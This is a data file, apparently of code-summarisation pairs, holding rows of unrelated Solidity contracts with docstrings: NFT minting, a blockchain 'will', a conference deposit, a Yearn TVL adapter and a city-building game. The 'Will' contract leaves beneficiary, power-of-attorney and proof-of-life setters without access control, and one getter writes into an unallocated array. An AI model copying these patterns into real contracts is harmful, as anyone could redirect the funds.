uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
contract nft is ERC721, Ownable {
//baseURI that is established
string private _currentBaseURI;
//accumulate the number of tokens that have been minted
uint256 public numberOfTokens;
//limit the tokens that can be minted
uint256 public maxTokens;
//stores the amount of mints each address has had
mapping(address => uint) private mintsPerAddress;
//price to pay for each nft
uint256 private mintCost_ = 0.03 ether;
//stores value of current reserved NFTs minted by creator
uint private reservedMints;
//stores the maimum amount of reserved mints allowed
uint private maxReservedMints;
constructor() ERC721('Reaper Boys', 'REAP') {
//this uri will only be used once revealed is on
_currentBaseURI = 'ipfs://Qme9M4eaLxRzMXp5k3rHuTSAxBCUTBBStyft7PLExayGAr/';
//start off with zero tokens and max in total collection will be 10k
numberOfTokens = 0;
maxTokens = 9999;
//reserved mints values
reservedMints = 0;
maxReservedMints = 100;
//minting the team´s NFTs
_safeMint(msg.sender, 990);
_safeMint(msg.sender, 3595);
_safeMint(msg.sender, 8549);
mintsPerAddress[msg.sender] += 3;
numberOfTokens += 3;
reservedMints += 3;
}
//this uri will only be used once revealed is on
function setBaseURI(string memory baseURI) public onlyOwner {
_currentBaseURI = baseURI;
}
//function to see the current baseURI
function _baseURI() internal view override returns (string memory) {
return _currentBaseURI;
}
//tokens are numbered from 1 to 10
function tokenId() internal view returns(uint256) {
uint currentId = numberOfTokens - reservedMints;
bool exists = true;
while (exists || currentId == 6138) {
currentId += 1;
exists = _exists(currentId);
}
return currentId;
}
//minting a new NFT
function mint(uint number) payable public {
require(numberOfTokens + number <= maxTokens - (maxReservedMints - reservedMints), 'Max Number of Tokens reached!');
require(msg.value >= mintCost_ * number, 'insufficient Funds, Price of each NFT is 0.03');
for (uint256 i = 0; i < number; i++) {
uint256 tid = tokenId();
_safeMint(msg.sender, tid);
mintsPerAddress[msg.sender] += 1;
numberOfTokens += 1;
}
//get amount of eth sent to pay for minting and automatically send to owner
sendToOwner();
}
//reserved NFTs for creator
function reservedMintCreator(uint256 number) public onlyOwner {
require(reservedMints + number <= maxReservedMints, "Not enough Reserved NFTs left to mint..");
for (uint256 i = 0; i < number; i++) {
uint tid = tokenId();
_safeMint(msg.sender, tid);
mintsPerAddress[msg.sender] += 1;
numberOfTokens += 1;
reservedMints += 1;
}
}
//sending mint fees to owner
function sendToOwner() internal {
address payable owner_ = payable(owner());
(bool success, ) = owner_.call{value: msg.value}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
//function for the owner to see how many reserved mints he has left
function reservedMintsLeft() public onlyOwner view returns(uint) {
return maxReservedMints - reservedMints;
}
//total amount of NFTs that have been minted
function totalSupply() public view returns(uint) {
return numberOfTokens;
}
} | function for the owner to see how many reserved mints he has left | function reservedMintsLeft() public onlyOwner view returns(uint) {
return maxReservedMints - reservedMints;
}
| 270,860 |
./partial_match/42/0x053af2Ee5445c8B35Eab3b826672A672c7499434/sources/COX.sol | See {ICOX-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {COX}; Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`./ | function transferFrom(address sender, address recipient, uint256 amount) external virtual returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _board.parties[sender].allowance[msg.sender].sub(amount, "COX: transfer amount exceeds allowance"));
return true;
}
| 9,068,362 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './ERC721.sol';
// import '@openzeppelin/contracts/token/ERC721/ERC721.sol'
contract Color is ERC721{
string[] public colors;
mapping(string => bool) _colorExists;
constructor() ERC721("Color","COLOR"){}
function mint(string memory _color) public{
//require color to be uniq
require(!_colorExists[_color]);
//add the color
colors.push(_color);
uint _id = colors.length - 1;
//call the mint function
_mint(msg.sender,_id);
_colorExists[_color] = true;
//thrack the color
}
}
| require color to be uniqadd the colorcall the mint functionthrack the color | function mint(string memory _color) public{
require(!_colorExists[_color]);
colors.push(_color);
uint _id = colors.length - 1;
_mint(msg.sender,_id);
_colorExists[_color] = true;
}
| 6,369,750 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
/// @title Contract for automated type of blockchain based 'will'
/// @author [email protected]
/// @notice Allows a user to set up, and maintain a will.
/// @notice Allows distribution to beneficary if no 'proof of life' received and interval time met.
/// @dev This contract is used by WillFactory to create unique will instances.
/// @dev This contract assumes the 'drivers' of the will are, in fact, the beneficaries. Hence code calls them 'drivers', not 'beneficaries'.
contract Will {
/// @notice owner address. Owner of will instance.
/// @dev Used to restrict functions to only will owner.
address public willOwner;
/// @notice name string. Name of will instance.
/// @dev Used to help customer identify will instance.
string public name;
/// @notice address of will instance.
/// @dev Used to send funds to will instance account.
address public willAddr;
/// @notice Address of first 'power of attoney'. Not implemented in UI.
/// @dev to be used for transferring owner or allowing multisig distribution.
address public POA1;
/// @notice Address of second 'power of attoney'. Not implemented in UI.
/// @dev to be used for transferring owner or allowing multisig distribution.
address public POA2;
/// @notice Array of beneficiary addresses
/// @dev Used for collection of beneficiaries for a given will.
address [] public drivers;
/// @notice Counter for number of beneficiaries.
/// @dev Used as a helper when iterating available beneficiaries.
uint public driverCounter=0;
/// @notice Property to hold balance within contract.
/// @dev Used as a helper when receiving funds and calculating distribution.
uint public balance = 0;
/// @notice Property to hold balance within contract to calculate shares.
/// @dev Used as a helper when calculating distribution shares.
uint willAmount;
/// @notice 'Per sterpis' share where each beneficiary is to receive an equal share.
uint share;
// /// @notice Unix timestamp
// /// @dev Used as a helper to determine if funds are eligible for release.
// uint public timestamp = block.timestamp;
/// @notice Unix timestamp
/// @dev Used as a helper to determine if funds are eligible for release.
uint public lastAlive;
// /// @notice List of all property ids.
// /// @dev Used as a helper when iterating available properties in frontend client.
// uint public timeNow;
/// @notice Interval to add to last 'proff of life' to see if will is eligible for distribution.
/// @dev Future: each will owner can determine their own 'wait' interval, e.g. month, year, etc...
uint public interval = 300; // five minutes hardcoded for instruction purposes.
constructor(address _creator, string memory _name) public payable {
willOwner = _creator;
name = _name;
willAddr = address(this);
lastAlive = block.timestamp; //sets initial 'proof of life'.
// POA1 = _POA1; // Future: Power of Attorney capability
// POA2 = _POA2;
}
/// @notice Adds a primary Power of Attorney for the will
/// @param _new Address of the primary Power of Attorney
/// @dev Possible to use as 'power of atty'or multisig. Not used currently
function setPOA1(address _new) public {
POA1 = _new;
}
/// @notice Adds a secondary Power of Attorney for the will
/// @param _new Address of the secondary Power of Attorney
/// @dev Possible to use as 'power of atty' or multisig. Not used currently
function setPOA2(address _new) public {
POA2 = _new;
}
/// @notice Adds a beneficiary to a given will
/// @param _newDriver Property to which the beneficary address is added as a tenant
/// @dev Check for exact payment sum to avoid having to send ETH back to sender
function setDriver(address _newDriver) public {
drivers.push(_newDriver);
driverCounter++;
}
/// @notice Gets a beneficary by index number.
/// @param _index Property by which the beneficary is identified in array.
/// @return Returns address of beneficary given array index.
function getDriver(uint _index) public view returns(address){
return drivers[_index];
}
/// @notice Deletes a beneficary by index number.
/// @param _index Property by which the beneficary is identified in array.
/// @dev Remove array element by shifting elements from right to left
function removeDriver(uint _index) public {
require(_index < drivers.length, "index out of bound");
for (uint i = _index; i < drivers.length - 1; i++) {
drivers[i] = drivers[i + 1];
}
drivers.pop();
driverCounter--;
}
/// @notice Adds a tenant to a given property id
/// @return Returns array of beneficary addresses.
function getAllDrivers() public view returns(address[] memory){
///
address[] memory arr;
for (uint i = 0; i < driverCounter; i++) {
arr[i] = drivers[i];
}
return arr;
}
/// @notice get Driver count
/// @return Returns count of beneficaries.
function getDriverCount() public view returns(uint){
return driverCounter;
}
// working
/// @notice Allows benefactor (will owner) to withdraw all funds deposited for beneficiaries.
function sendEther() external {
address payable _to = address(uint160(willOwner));
// address payable _to = address(uint160(owner()));
// address payable _to = owner();
_to.transfer(balance);
balance = 0;
}
/// @notice get the time interval (in seconds) to wait before allowing distribuition to beneficaries.
/// @dev Check interval. Currently five minutes (300 seconds). Future: allow user to select wait interval.
function getInterval() public view returns(uint){
return interval;
}
/// @notice Get the timestamp for last owner 'proof of life'.
/// @return Returns timestamp from last 'alive' message.
function getLastAlive() public view returns(uint){
return lastAlive;
}
/// @notice Set the timestamp for last owner 'proof of life'.
/// @param _timeAlive Property containing timestamp to renew 'proof of life'
function setLastAlive(uint _timeAlive) public {
lastAlive = _timeAlive;
}
/// @notice Distributes fund amount deposited by benefactor to all beneficiaries 'per stirpes' (equal share).
/// @dev Check for exact payment sum to avoid having to send ETH back to sender
/// @return Returns true if complete.
function distributeBenefits() public payable returns (bool) {
// 1. get contract balance.
// 2. divide by num of beneficiaries
// 3. transfer shares to beneficiaries
// 4. clear beneficaries & count
willAmount = balance;
share = willAmount / driverCounter;
for (uint i = 0; i < driverCounter; i++) {
address beneAddr = drivers[i];
//address payable _to = payable(beneAddr); // Correct since Solidity >= 0.6.0
address payable _to = address(uint160(beneAddr)); // Correct since Solidity >= 0.5.0
_to.transfer(share);
balance = balance - share;
}
resetBeneficiariesMapping();
driverCounter = 0;
return true;
}
/// @notice Clear all beneficiaries and reset beneficiary counter
/// @dev Delete does not change the array length. Pop will decrease the array length by 1.
function resetBeneficiariesMapping() private {
for (uint i=0; i< driverCounter ; i++){
//delete drivers[i];
drivers.pop();
}
}
/// @notice Fallback function so will contract can receive funds.
/// @dev Maintains 'helper' balance property on receipt of funds.
function () external payable {
// emit Receive(msg.sender, msg.value);
balance += msg.value;
}
}
| get the time interval (in seconds) to wait before allowing distribuition to beneficaries. Check interval. Currently five minutes (300 seconds). Future: allow user to select wait interval. | function getInterval() public view returns(uint){
return interval;
}
| 13,018,751 |
./partial_match/1/0x6Ca9547eA9C948590597B9a8832007236183fD94/sources/MemeCoin.sol | Function to safely add two numbers. This prevents overflows. | function _add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Addition overflow");
return c;
}
| 15,959,488 |
./partial_match/1/0x000000e7Ec00e7B300774b00001314B8610022b8/sources/contracts/zones/SignedZone.sol | Add or remove a signer to the zone. Only the controller can call this function. signer The signer address to add or remove./ Only the controller can call this function. Add or remove the signer. | function _updateSigner(address signer, bool active) internal {
_assertCallerIsController();
active ? _addSigner(signer) : _removeSigner(signer);
}
| 9,360,388 |
./partial_match/42/0xe778DBA625684f70270fAd3cBfeeBD1B8c9Aa0B1/sources/Crowdsale.sol | event for token purchase logging purchaser who paid for the tokens beneficiary who got the tokens value weis paid for purchase amount amount of tokens purchased/ | function Crowdsale(uint256 _startTime, uint256 _endTime, address _token, address _wallet) public {
if (_startTime == 0) {
_startTime = now;
}
require(_startTime >= now);
require(_endTime >= _startTime);
require(_token != address(0));
require(_wallet != address(0));
startTime = _startTime;
endTime = _endTime;
token = IERC20(_token);
wallet = _wallet;
}
| 8,837,117 |
pragma solidity 0.4.24;
import './GroupAdmin.sol';
import './zeppelin/lifecycle/Destructible.sol';
contract Conference is Destructible, GroupAdmin {
string public name;
uint256 public deposit;
uint public limitOfParticipants;
uint public registered;
uint public attended;
bool public ended;
bool public cancelled;
uint public endedAt;
uint public coolingPeriod;
uint256 public payoutAmount;
string public encryption;
mapping (address => Participant) public participants;
mapping (uint => address) public participantsIndex;
struct Participant {
string participantName;
address addr;
bool attended;
bool paid;
}
event RegisterEvent(address addr, string participantName, string _encryption);
event AttendEvent(address addr);
event PaybackEvent(uint256 _payout);
event WithdrawEvent(address addr, uint256 _payout);
event CancelEvent();
event ClearEvent(address addr, uint256 leftOver);
/* Modifiers */
modifier onlyActive {
require(!ended);
_;
}
modifier noOneRegistered {
require(registered == 0);
_;
}
modifier onlyEnded {
require(ended);
_;
}
/* Public functions */
/**
* @dev Construcotr.
* @param _name The name of the event
* @param _deposit The amount each participant deposits. The default is set to 0.02 Ether. The amount cannot be changed once deployed.
* @param _limitOfParticipants The number of participant. The default is set to 20. The number can be changed by the owner of the event.
* @param _coolingPeriod The period participants should withdraw their deposit after the event ends. After the cooling period, the event owner can claim the remining deposits.
* @param _encryption A pubic key. The admin can use this public key to encrypt pariticipant username which is stored in event. The admin can later decrypt the name using his/her private key.
*/
constructor (
string _name,
uint256 _deposit,
uint _limitOfParticipants,
uint _coolingPeriod,
string _encryption
) public {
if (bytes(_name).length != 0){
name = _name;
} else {
name = 'Test';
}
if(_deposit != 0){
deposit = _deposit;
}else{
deposit = 0.02 ether;
}
if (_limitOfParticipants != 0){
limitOfParticipants = _limitOfParticipants;
}else{
limitOfParticipants = 20;
}
if (_coolingPeriod != 0) {
coolingPeriod = _coolingPeriod;
} else {
coolingPeriod = 1 weeks;
}
if (bytes(_encryption).length != 0) {
encryption = _encryption;
}
}
/**
* @dev Registers with twitter name and full user name (the user name is encrypted).
* @param _participant The twitter address of the participant
* @param _encrypted The encrypted participant name
*/
function registerWithEncryption(string _participant, string _encrypted) external payable onlyActive{
registerInternal(_participant);
emit RegisterEvent(msg.sender, _participant, _encrypted);
}
/**
* @dev Registers with twitter name.
* @param _participant The twitter address of the participant
*/
function register(string _participant) external payable onlyActive{
registerInternal(_participant);
emit RegisterEvent(msg.sender, _participant, '');
}
/**
* @dev The internal function to register participant
* @param _participant The twitter address of the participant
*/
function registerInternal(string _participant) internal {
require(msg.value == deposit);
require(registered < limitOfParticipants);
require(!isRegistered(msg.sender));
registered++;
participantsIndex[registered] = msg.sender;
participants[msg.sender] = Participant(_participant, msg.sender, false, false);
}
/**
* @dev Withdraws deposit after the event is over.
*/
function withdraw() external onlyEnded{
require(payoutAmount > 0);
Participant participant = participants[msg.sender];
require(participant.addr == msg.sender);
require(cancelled || participant.attended);
require(participant.paid == false);
participant.paid = true;
participant.addr.transfer(payoutAmount);
emit WithdrawEvent(msg.sender, payoutAmount);
}
/* Constants */
/**
* @dev Returns total balance of the contract. This function can be deprecated when refactroing front end code.
* @return The total balance of the contract.
*/
function totalBalance() view public returns (uint256){
return address(this).balance;
}
/**
* @dev Returns true if the given user is registered.
* @param _addr The address of a participant.
* @return True if the address exists in the pariticipant list.
*/
function isRegistered(address _addr) view public returns (bool){
return participants[_addr].addr != address(0);
}
/**
* @dev Returns true if the given user is attended.
* @param _addr The address of a participant.
* @return True if the user is marked as attended by admin.
*/
function isAttended(address _addr) view public returns (bool){
return isRegistered(_addr) && participants[_addr].attended;
}
/**
* @dev Returns true if the given user has withdrawn his/her deposit.
* @param _addr The address of a participant.
* @return True if the attendee has withdrawn his/her deposit.
*/
function isPaid(address _addr) view public returns (bool){
return isRegistered(_addr) && participants[_addr].paid;
}
/**
* @dev Show the payout amount each participant can withdraw.
* @return The amount each participant can withdraw.
*/
function payout() view public returns(uint256){
if (attended == 0) return 0;
return uint(totalBalance()) / uint(attended);
}
/* Admin only functions */
/**
* @dev Ends the event by owner
*/
function payback() external onlyOwner onlyActive{
payoutAmount = payout();
ended = true;
endedAt = now;
emit PaybackEvent(payoutAmount);
}
/**
* @dev Cancels the event by owner. When the event is canceled each participant can withdraw their deposit back.
*/
function cancel() external onlyOwner onlyActive{
payoutAmount = deposit;
cancelled = true;
ended = true;
endedAt = now;
emit CancelEvent();
}
/**
* @dev The event owner transfer the outstanding deposits if there are any unclaimed deposits after cooling period
*/
function clear() external onlyOwner onlyEnded{
require(now > endedAt + coolingPeriod);
uint leftOver = totalBalance();
owner.transfer(leftOver);
emit ClearEvent(owner, leftOver);
}
/**
* @dev Change the capacity of the event. The owner can change it until event is over.
* @param _limitOfParticipants the number of the capacity of the event.
*/
function setLimitOfParticipants(uint _limitOfParticipants) external onlyOwner onlyActive{
limitOfParticipants = _limitOfParticipants;
}
/**
* @dev Change the name of the event. The owner can change it as long as no one has registered yet.
* @param _name the name of the event.
*/
function changeName(string _name) external onlyOwner noOneRegistered{
name = _name;
}
/**
* @dev Mark participants as attended. The attendance cannot be undone.
* @param _addresses The list of participant's address.
*/
function attend(address[] _addresses) external onlyAdmin onlyActive{
for( uint i = 0; i < _addresses.length; i++){
address _addr = _addresses[i];
require(isRegistered(_addr));
require(!isAttended(_addr));
emit AttendEvent(_addr);
participants[_addr].attended = true;
attended++;
}
}
}
| Returns true if the given user is attended. _addr The address of a participant. return True if the user is marked as attended by admin./ | function isAttended(address _addr) view public returns (bool){
return isRegistered(_addr) && participants[_addr].attended;
}
| 2,573,094 |
/**
*Submitted for verification at Etherscan.io on 2021-04-15
*/
/**
*Submitted for verification at Etherscan.io on 2021-04-14
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
/*******************************************************
* Interfaces *
*******************************************************/
interface IOracle {
function getNormalizedValueUsdc(
address tokenAddress,
uint256 amount,
uint256 priceUsdc
) external view returns (uint256);
function getNormalizedValueUsdc(address tokenAddress, uint256 amount)
external
view
returns (uint256);
function getPriceUsdcRecommended(address tokenAddress)
external
view
returns (uint256);
}
interface IVotingEscrow {
function balanceOf(address account) external view returns (uint256);
}
/*******************************************************
* Adapter Logic *
*******************************************************/
contract TvlAdapterVeCrv {
IOracle public oracle; // The oracle is used to fetch USDC normalized pricing data
address public yveCrvDaoAddress =
0xc5bDdf9843308380375a611c18B50Fb9341f502A; // veCRV-DAO "Vault"
address public curveVotingEscrowAddress =
0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2; // veCRV
address public curveYCrvVoterAddress =
0xF147b8125d2ef93FB6965Db97D6746952a133934; // Yearn voter proxy
uint256 public assetsLength = 1;
/**
* TVL breakdown for an asset
*/
struct AssetTvlBreakdown {
address assetId; // Asset address
address tokenId; // Token address
uint256 tokenPriceUsdc; // Token price in USDC
uint256 underlyingTokenBalance; // Amount of underlying token in asset
uint256 delegatedBalance; // Amount of underlying token balance that is delegated
uint256 adjustedBalance; // underlyingTokenBalance - delegatedBalance
uint256 adjustedBalanceUsdc; // TVL
}
/**
* Information about the adapter
*/
struct AdapterInfo {
address id; // Adapter address
string typeId; // Adapter typeId (for example "VAULT_V2" or "IRON_BANK_MARKET")
string categoryId; // Adapter categoryId (for example "VAULT")
}
/**
* Configure adapter
*/
constructor(address _oracleAddress) {
require(_oracleAddress != address(0), "Missing oracle address");
oracle = IOracle(_oracleAddress);
}
/**
* Fetch adapter info
*/
function adapterInfo() public view returns (AdapterInfo memory) {
return
AdapterInfo({
id: address(this),
typeId: "VE_CRV",
categoryId: "SPECIAL"
});
}
/**
* Fetch all asset addresses for this adapter
*/
function assetsAddresses() public view returns (address[] memory) {
address[] memory addresses = new address[](1);
addresses[0] = yveCrvDaoAddress;
return addresses;
}
/**
* Fetch the underlying token address of an asset
*/
function underlyingTokenAddress(address assetAddress)
public
view
returns (address)
{
return 0xD533a949740bb3306d119CC777fa900bA034cd52; // CRV
}
/**
* Fetch asset balance in underlying tokens
*/
function assetBalance(address assetAddress) public view returns (uint256) {
IVotingEscrow votingEscrow = IVotingEscrow(curveVotingEscrowAddress);
return votingEscrow.balanceOf(curveYCrvVoterAddress);
}
/**
* Fetch delegated balance of an asset
*/
function assetDelegatedBalance(address assetAddress)
public
view
returns (uint256)
{
return 0;
}
/**
* Fetch TVL of an asset in USDC
*/
function assetTvlUsdc(address assetAddress) public view returns (uint256) {
address tokenAddress = underlyingTokenAddress(assetAddress);
uint256 underlyingBalanceAmount = assetBalance(assetAddress);
uint256 adjustedBalanceUsdc =
oracle.getNormalizedValueUsdc(
tokenAddress,
underlyingBalanceAmount
);
return adjustedBalanceUsdc;
}
/**
* Fetch TVL for adapter in USDC
*/
function assetsTvlUsdc(address[] memory _assetsAddresses)
public
view
returns (uint256)
{
return assetTvlUsdc(_assetsAddresses[0]);
}
/**
* Fetch TVL for adapter in USDC given an array of addresses
*/
function assetsTvlUsdc() external view returns (uint256) {
address[] memory _assetsAddresses = assetsAddresses();
return assetsTvlUsdc(_assetsAddresses);
}
/**
* Fetch TVL breakdown of an asset
*/
function assetTvlBreakdown(address assetAddress)
public
view
returns (AssetTvlBreakdown memory)
{
address tokenAddress = underlyingTokenAddress(assetAddress);
uint256 underlyingBalanceAmount = assetBalance(assetAddress);
uint256 tokenPriceUsdc = oracle.getPriceUsdcRecommended(tokenAddress);
uint256 delegatedBalanceAmount = 0;
return
AssetTvlBreakdown({
assetId: assetAddress,
tokenId: tokenAddress,
tokenPriceUsdc: tokenPriceUsdc,
underlyingTokenBalance: underlyingBalanceAmount,
delegatedBalance: delegatedBalanceAmount,
adjustedBalance: underlyingBalanceAmount -
delegatedBalanceAmount,
adjustedBalanceUsdc: oracle.getNormalizedValueUsdc(
tokenAddress,
underlyingBalanceAmount,
tokenPriceUsdc
)
});
}
// Fetch TVL breakdown for adapter given an array of addresses
function assetsTvlBreakdown(address[] memory _assetsAddresses)
public
view
returns (AssetTvlBreakdown[] memory)
{
AssetTvlBreakdown[] memory tvlData = new AssetTvlBreakdown[](1);
tvlData[0] = assetTvlBreakdown(_assetsAddresses[0]);
return tvlData;
}
/**
* Fetch TVL breakdown for adapter
*/
function assetsTvlBreakdown()
external
view
returns (AssetTvlBreakdown[] memory)
{
address[] memory _assetsAddresses = assetsAddresses();
return assetsTvlBreakdown(_assetsAddresses);
}
} | Fetch the underlying token address of an asset/ | function underlyingTokenAddress(address assetAddress)
public
view
returns (address)
{
}
| 2,031,076 |
pragma solidity ^0.4.18;
/*
This is the main contract for MyEtherCity. Join us at https://myethercity.com/
Game Name: MyEtherCity (The first city-building game built on top of the Ethereum Blockchain)
Game Link: https://myethercity.com/
*/
contract MyEtherCityGame {
address ceoAddress = 0x699dE541253f253a4eFf0D3c006D70c43F2E2DaE;
address InitiateLandsAddress = 0xa93a135e3c73ab77ea00e194bd080918e65149c3;
modifier onlyCeo() {
require (
msg.sender == ceoAddress||
msg.sender == InitiateLandsAddress
);
_;
}
uint256 priceMetal = 5000000000000000; // The developer can update the price of metak to regulate the market
struct Land {
address ownerAddress;
uint256 landPrice;
bool landForSale;
bool landForRent;
uint landOwnerCommission;
bool isOccupied;
uint cityRentingId;
}
Land[] lands;
struct City {
uint landId;
address ownerAddress;
uint256 cityPrice;
uint256 cityGdp;
bool cityForSale;
uint squaresOccupied; // Equals 0 when we create the city
uint metalStock;
}
City[] cities;
struct Business {
uint itemToProduce;
uint256 itemPrice;
uint cityId;
uint32 readyTime;
}
Business[] businesses;
/*
Building type:
0 = house => Can house 5 citizens
1 = school => Can educate 30 citizens
2 = clean energy => Can energize 20 citizens
3 = fossil energy => Can energize 30 citizens
4 = hospital => Can heal 30 citizens
5 = amusement => Can amuse 35 citizens
6 = businesses
*/
struct Building {
uint buildingType;
uint cityId;
uint32 readyTime;
}
Building[] buildings;
struct Transaction {
uint buyerId;
uint sellerId;
uint256 transactionValue;
uint itemId;
uint blockId;
}
Transaction[] transactions;
mapping (uint => uint) public CityBuildingsCount; // The amount of buildings owned by this address
mapping (uint => uint) public BuildingTypeMetalNeeded; // The amount of metal needed to build all the buildings
mapping (uint => uint) public BuildingTypeSquaresOccupied; // The land occupied by each building
mapping (uint => uint) public CountBusinessesPerType; // We keep track of the amount of businesses created per type
mapping (uint => uint) public CityBusinessCount; // We keep track of the amount of businesses owned by a city
mapping (uint => uint) public CitySalesTransactionsCount; // We keep track of the sales generated by a city
///
/// GET
///
// This function will return the details for a land
function getLand(uint _landId) public view returns (
address ownerAddress,
uint256 landPrice,
bool landForSale,
bool landForRent,
uint landOwnerCommission,
bool isOccupied,
uint cityRentingId
) {
Land storage _land = lands[_landId];
ownerAddress = _land.ownerAddress;
landPrice = _land.landPrice;
landForSale = _land.landForSale;
landForRent = _land.landForRent;
landOwnerCommission = _land.landOwnerCommission;
isOccupied = _land.isOccupied;
cityRentingId = _land.cityRentingId;
}
// This function will return the details for a city
function getCity(uint _cityId) public view returns (
uint landId,
address landOwner,
address cityOwner,
uint256 cityPrice,
uint256 cityGdp,
bool cityForSale,
uint squaresOccupied,
uint metalStock,
uint cityPopulation,
uint healthCitizens,
uint educationCitizens,
uint happinessCitizens,
uint productivityCitizens
) {
City storage _city = cities[_cityId];
landId = _city.landId;
landOwner = lands[_city.landId].ownerAddress;
cityOwner = _city.ownerAddress;
cityPrice = _city.cityPrice;
cityGdp = _city.cityGdp;
cityForSale = _city.cityForSale;
squaresOccupied = _city.squaresOccupied;
metalStock = _city.metalStock;
cityPopulation = getCityPopulation(_cityId);
healthCitizens = getHealthCitizens(_cityId);
educationCitizens = getEducationCitizens(_cityId);
happinessCitizens = getHappinessCitizens(_cityId);
productivityCitizens = getProductivityCitizens(_cityId);
}
// This function will return the details for a business
function getBusiness(uint _businessId) public view returns (
uint itemToProduce,
uint256 itemPrice,
uint cityId,
uint cityMetalStock,
uint readyTime,
uint productionTime,
uint cityLandId,
address cityOwner
) {
Business storage _business = businesses[_businessId];
itemToProduce = _business.itemToProduce;
itemPrice = _business.itemPrice;
cityId = _business.cityId;
cityMetalStock = cities[_business.cityId].metalStock;
readyTime = _business.readyTime;
productionTime = getProductionTimeBusiness(_businessId);
cityLandId = cities[_business.cityId].landId;
cityOwner = cities[_business.cityId].ownerAddress;
}
// This function will return the details for a building
function getBuilding(uint _buildingId) public view returns (
uint buildingType,
uint cityId,
uint32 readyTime
) {
Building storage _building = buildings[_buildingId];
buildingType = _building.buildingType;
cityId = _building.cityId;
readyTime = _building.readyTime;
}
// This function will return the details for a transaction
function getTransaction(uint _transactionId) public view returns (
uint buyerId,
uint sellerId,
uint256 transactionValue,
uint itemId,
uint blockId
) {
Transaction storage _transaction = transactions[_transactionId];
buyerId = _transaction.buyerId;
sellerId = _transaction.sellerId;
transactionValue = _transaction.transactionValue;
itemId = _transaction.itemId;
blockId = _transaction.blockId;
}
// Returns the count of buildings for a city
function getCityBuildings(uint _cityId, bool _active) public view returns (
uint countBuildings,
uint countHouses,
uint countSchools,
uint countHospital,
uint countAmusement
) {
countBuildings = getCountAllBuildings(_cityId, _active);
countHouses = getCountBuildings(_cityId, 0, _active);
countSchools = getCountBuildings(_cityId, 1, _active);
countHospital = getCountBuildings(_cityId, 2, _active);
countAmusement = getCountBuildings(_cityId, 3, _active);
}
// Get all the lands owned by a city
function getSenderLands(address _senderAddress) public view returns(uint[]) {
uint[] memory result = new uint[](getCountSenderLands(_senderAddress));
uint counter = 0;
for (uint i = 0; i < lands.length; i++) {
if (lands[i].ownerAddress == _senderAddress) {
result[counter] = i;
counter++;
}
}
return result;
}
function getCountSenderLands(address _senderAddress) public view returns(uint) {
uint counter = 0;
for (uint i = 0; i < lands.length; i++) {
if (lands[i].ownerAddress == _senderAddress) {
counter++;
}
}
return(counter);
}
// Get all the lands owned by a city
function getSenderCities(address _senderAddress) public view returns(uint[]) {
uint[] memory result = new uint[](getCountSenderCities(_senderAddress));
